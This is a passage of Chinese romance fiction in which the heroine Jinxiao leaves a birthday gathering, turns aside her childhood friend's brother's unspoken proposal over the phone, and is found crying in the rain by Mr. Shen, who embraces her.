“哪儿不舒服啊?”左疏桐一听这话连声音都紧了,立马捧着今宵的脸端详,“你脸都白了,是不是吃坏东西了?” “没有。” 今宵心头猛地一酸,怕暴露情绪,不敢对上左疏桐视线,犹豫了一下说:“就是......就是想起明天有早八,胃抽了一下。” 左疏桐松了口气:“你吓死我了。” 说完她便拿起勺子给今宵盛汤:“你穿太少了吧,晚上起风了,一会儿说不准要下雨,你今天是不是在外面吹凉了?” 她将汤递上:“来,这松茸乳鸽汤正好滋补,你喝点暖暖。” 闺蜜的关怀随一碗热汤递来,今宵双手接过,垂眸道谢。 左疏桐想起什么,说:“噢对,刚才有个陌生号码打你电话,我帮你接了,一男的,他说一会儿再打给你。” 今宵有些心不在焉,只点点头,没多说什么,倒是左疏桐好奇:“谁啊?这么晚还给你打电话?追求者?” 今宵愣了一下,慢半拍回顾她刚才的话,展颜一笑:“你都说了是陌生号码,快递吧估计。” 她捧着一碗热汤慢慢喝,直到见了底,她才将手机扔进包里,起身说:“疏桐,时候不早了,我明天还有早八,就先回宿舍了,一会儿你帮我多吃一份蛋糕。” 左疏桐一把拉住了她:“你不是说好了今晚要陪我睡的吗?” 今宵去意已决,温柔拂开她的手:“改天吧,改天你去小溪山好不好?” 她抿了下唇,扯了个谎:“我今晚还得回去赶作业,不然明早不好交差,美术史那老师可难应付了。” 左疏桐哭丧着一张脸,像是极度不舍。 今宵微微别开视线,她又何尝不是? “那好吧......” 虽然感觉遗憾,但一想到国庆假期才刚刚开始,她们还有很多时间相聚,左疏桐便叮嘱了两句,放走了今宵。 出了门,秋风卷着枯叶从今宵脚面拂过,好像真的降温了,她拢了拢外套,沿着步道往灯火更盛的路口走去。 沿街路灯将她形单影只的模样拓印在地面,每走一步她都更清楚看见自己。 只有她一个人。 往后无论多长多远的路,都只有她一个人。 走到街拐角,她没忍住回头看了一眼。 餐厅小小的门脸往外散射着橘红的光,是足以在这秋夜抚慰人心的暖色,像她小时候第一次推开左疏桐的家门,温暖扑面而来。 第一次见面,左疏桐父母说了很多客气话,她听得最多的就是“把这儿当自己家一样”。 从六岁到十九岁,整整十三年的时间,她真的把闺蜜的家当成自己家,把闺蜜的哥哥当成自己哥哥,把闺蜜的父母视作自己的亲人。 父母刚离婚的时候,她藏不住自己的失落,是闺蜜的妈妈来开解,她还记得她当时委委屈屈说,以后没有妈妈疼了,闺蜜的妈妈便对她说:“这么多年我一直将你视若己出,以后你就是我的女儿”。 父亲走得突然,是闺蜜一家为她撑起了崩塌的天,是闺蜜一家让她知道,当黑暗降临,是真的会有天光刺破夜幕为她带来光明,会指引她往前走,会给她温暖。 她无法将视线移开,像被那橘红光束牢牢攫住。 她心头顿生一份恐慌,像是这一走,就如同那满大街飘零的枯叶,再无处可依。 可她必须得走了。 是她太不客气,错将“客气话”当了真,给闺蜜一家带去无数困扰。 佟琳方才跟她说了很多话,有一句她印象尤为深——“路,是自己走出来的。” 天要下雨,她要往前走,总不好一直借别人的伞。 她逼自己收回视线,转身,远处车灯闪烁,她突然感觉眼睛刺痛,止不住地想流泪。 她匆匆朝前走,步伐快到像是要跑起来,她已经看不清眼前路,无数车灯晃得她眼花,她只能听见呼啸而过的秋风,一点一点带走她身上仅存的温度。 直到呼吸急促,心脏狂跳,她才发觉自己早已迷失方向,不知此刻身在何处。 她抬头望,头顶是一盏孤零零的路灯,身前是车水马龙,身后是万家灯火,雨点噼里啪啦地砸了下来,她煞白的面颊上冷热交织,分不清是雨还是泪。 手机在包里急促地震动起来,她拽回一点残存的理智去看。 是左清樾。 雨滴将他名字氤氲,屏幕上沾了水,她没能划开接听。 手在颤抖,她深深呼吸,拿袖子擦了擦,这才接通电话。 “为什么走了?什么时候走的?为什么不告诉我?” 开口便是三连问,他语气严厉,好似咄咄逼人,可今宵此刻听着只觉鼻酸,因为她知道左清樾的下一句话,是想送她回家。 她稳定了呼吸,撑起一个笑脸回答:“疏桐没说吗?我明天有早八,赶回去补作业了,不好意思清樾哥,走得急,忘了跟你说。” “你上车了吗?” “嗯,”她低声回答,“快到学校了。” 她尽量想让声线稳定,却没想到被呼啸的风声出卖。 “你没走对不对?你在哪里?” 电话那头传来同样的风声,她一下慌了:“不要来找我。” “今宵!” 左清樾同样忍不住情绪:“现在在下雨!你从来不看天气预报从来不带伞!我明知道你在淋雨,你却不让我找你?!” 今宵将他每一个字都听得清清楚楚,这样严厉的声音在这十三年里她没少听,有时候左疏桐会跟她抱怨哥哥管得太多,很烦,可她这时候听来,只觉得窝心。 “嗯,”她声音闷闷的,“不要来找我,清樾哥,今天是你生日,包厢里还有好多朋友在等你吹蜡烛切蛋糕呢,你快回去吧。” 她停顿了一下,说:“生日快乐,哥哥。” 一句话的重音落到了末尾两个字,她在强调什么,显而易见。 电话那头好像沉默了,她分不清钻进耳朵的风声究竟是来自哪里,就像她分不清左清樾对她的感情究竟是怜惜更多,还是爱欲更多。 佟琳方才跟她说,左清樾打算在今晚向她求婚。 她在三天前看到了那枚HarryWinston的订婚钻戒,追问之下,左清樾才向她袒露了内心。 佟琳说:“清樾想给你一个家。” 她听完沉默了很久,就像此刻,左清樾的声音消失在电话那头。 求婚,听起来是意料之外,又好像在情理之中,叫人踌躇为难,开不了口。 动心吗? 一定是有的。 十三年的关心和爱护一点都作不了假,就连左疏桐时常挂在嘴边的“天塌下来有左清樾顶着”这句话,都在她人生里应验。 天若下雨,找一个屋檐避雨是人的本能。 主动走出去淋雨的,不是傻就是疯。 好一会儿,左清樾的声音从听筒传来:“你不在,我的生日不会快乐。” “不会的。” 她无比坚定地回答:“不会的哥哥,你一定会幸福快乐的,我......我一直在你身边,我还是那个,是那个第一次见你就拽着你衣角喊哥哥的今宵,我一直是你的妹妹,是一辈子的家人。” 她的强调太过刻意,电话那头像是哑然失笑,风声裹着他的无奈钻进耳朵:“别这么对我,今宵。” “你知道我——” “哥哥!”今宵着急打断了他,“哥哥,不要说下去,不要说下去了好不好?我们就说到这里,我们......就停在这里。” 声音戛然而止,风声变轻了,她迟钝地移开看,是手机没电关机了,可她还没有叫车,身上也没 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她转身用额头抵住灯柱,她知道她放声痛哭的模样一定很难看,她不想被路人看见。 可在抽噎的一瞬间,她突然哽住。 路灯下出现一团不属于她的阴影,她怔然抬头,望见同样一张湿透的脸。 是她今夜才见过的眉眼,幽邃,清冽,球场初见,她曾无数次好奇他眸中神采。 甫一得见,彻夜都为他惊艳。 而在这凄冷秋夜,雨水连成了遮面的珠帘,她本辨不清他眸中神采,却又恍然望见一簇星火跳跃,就在那眼底,风吹不熄,雨打不灭。 “沈先生?” 一开口,她心头积攒的情绪也跟着破了口,她流着泪,哭得狼狈:“您没走吗?” 这个问题她好像问过他好几次。 在球场,在家门前,在大雨中。 您还没走?您怎么没走?您没走吗? 为什么没走?为什么出现在她最狼狈最落寞的时刻? 为什么要陪她淋这场雨? 为什么......是你? 他上前了一步,一抬手,雨水顺着他腕骨流进衣袖,她已经冻僵的面颊覆上他指腹的温热。 温柔一拭,他在擦她的泪。 可是雨这么大,她浑身都湿透了,泪早就融在雨里,又怎么擦得尽? 路灯从他头顶落下来,弱化他五官的冷硬,她被罩在一团清影里,一抬眸,他深不见底的黑瞳翻滚着浓云,像是在酝酿另一场大雨。 雨水汇集到他鼻尖,晶莹透明的一滴,将落未落的样子,一垂首,他方才一股脑儿往后抓的刘海便掉落一缕,轻轻荡在她前额,带给她一瞬激凉,一丝痒。 他们离得很近,近到气息交缠,近到,她踮起脚就能同他接吻。 “冷不冷?” 很突然地,他开口这样问,也缓缓喊了她的名字:“今宵。” 还是同一夜,却已经是下一次见面,他喊她今宵,问她冷不冷? 她僵在原地,一双唇像被冻得罢了工,迟迟未作应答。 他没有等她回答,只伸手拉开冲锋衣,将她纳进一个温暖干燥的怀抱。 她怔忡着撞上他胸膛,震落了眼眶的泪。 雨下得好大,好似永不停歇,当暖意袭身,她出神地想,也许以后她会记得要带一把伞,也学着不给别人添麻烦。 可她现在好想问:“沈先生,我可以抱你吗?” 他的心跳声很重,甚至盖过了渐大的风雨。 她的声音很微弱,她并不确定他是否听清。 直到他垂首,唇瓣匆匆擦过她耳廓,她听见一道很低的声音回答:“我已经在抱你了,今宵。” 眼泪突然变汹涌,她抬起一双颤抖的手,环住了他的腰。